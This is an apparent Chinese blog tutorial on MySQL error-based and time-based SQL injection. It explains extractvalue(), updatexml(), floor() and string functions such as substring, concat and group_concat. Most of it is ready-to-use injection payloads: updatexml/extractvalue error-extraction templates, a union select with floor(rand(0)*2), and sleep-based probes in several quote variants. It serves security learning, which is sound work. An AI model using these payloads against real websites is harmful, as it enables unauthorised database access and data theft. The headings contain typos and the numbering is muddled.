目录
1.常用报错的函数
2.其他函数
一.extractvalue()
二.updetaxml()
(1)extractvalue()
(2)updataxml()
(3)floor()
(1)substring():extractvalue()与updataxml()只能显示前32位字符,可以用substring()显示后面的字符
字符串.substring(字符串,参数1,参数2);
参数1:字符串截取的起始下标,非负的整数
如果此参数是0,则是从字符串的第一个字符开始截取
参数2:截取结束位置的索引下标
如substring(abc,1,2)为ab
substring(abc,2,2)为bc
(2)substr():同substring()
(3)mid():MID() 函数用于从字符串中提取指定长度的子字符串,位置从 1 开始计数
MID(string, start, length):
string:要提取子字符串的原始字符串。
start:指定要开始提取子字符串的位置。
ength:指定要提取的子字符串的长度。
(3)concat():连接函数
如concat(a,b)为 ab
concat(0x7e,(执行语句))为 #执行后的语句
(4)group_concat():GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
(5)concat_ws()
CONCAT_WS(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
如concat_ws('~',a,b)为 a~b
(6)limit 0,1 指定显示某一行 (concat()+limit可以与group_concat()互换)
extractvalue(xml_document,xpath_string)
第一个参数是xml文档对象的名称
第二个参数作用是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。
payload:extractvalue(null,concat(0x7e,(sql_inject),0x7e))
(sql_inject)这个()是因为()内的语句优先执行
extractvalue(null,concat(0x7e,substring(sql_inject,1,32),0x7e))
extractvalue(null,concat(0x7e,substring(sql_inject,33,32),0x7e))
.
.
.
注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”~“号。
(与extractvalue()基本一样,只是updatexml(1,concat(),3)多了一个3的参数
updatexml(xml_document,xpath_string,new_value)
第一个参数,xml文档名称
第二个参数,xpath格式字符串
第三个参数,替换查找到的符合条件的数据
作用是,改变文档中符合条件的节点的值
payload格式如下:
updatexml(1,concat(0x7e,(sqli_inject),0x7e),3)
updatexml(null,concat(0x7e,substring(sql_inject,1,32),0x7e),3)
updatexml(null,concat(0x7e,substring(sql_inject,33,32),0x7e),3)
.
.
.
payload
1' union select count(*),concat_ws('~',(sql_inject),floor(rand(0)*2)) as x from information_schema.tables group by x --+
(三种payload的形式都不固定,各种函数可以相互替代,需要根据实际情况而定)
?id=1 and sleep(2) --+
?id=1' and sleep(2) --+
?id=1" and sleep(2) --+
?id=1') and sleep(2) --+
?id=1") and sleep(2) --+
本文payload详细可见:sql注入(6)报错注入_c10udy_的博客-CSDN博客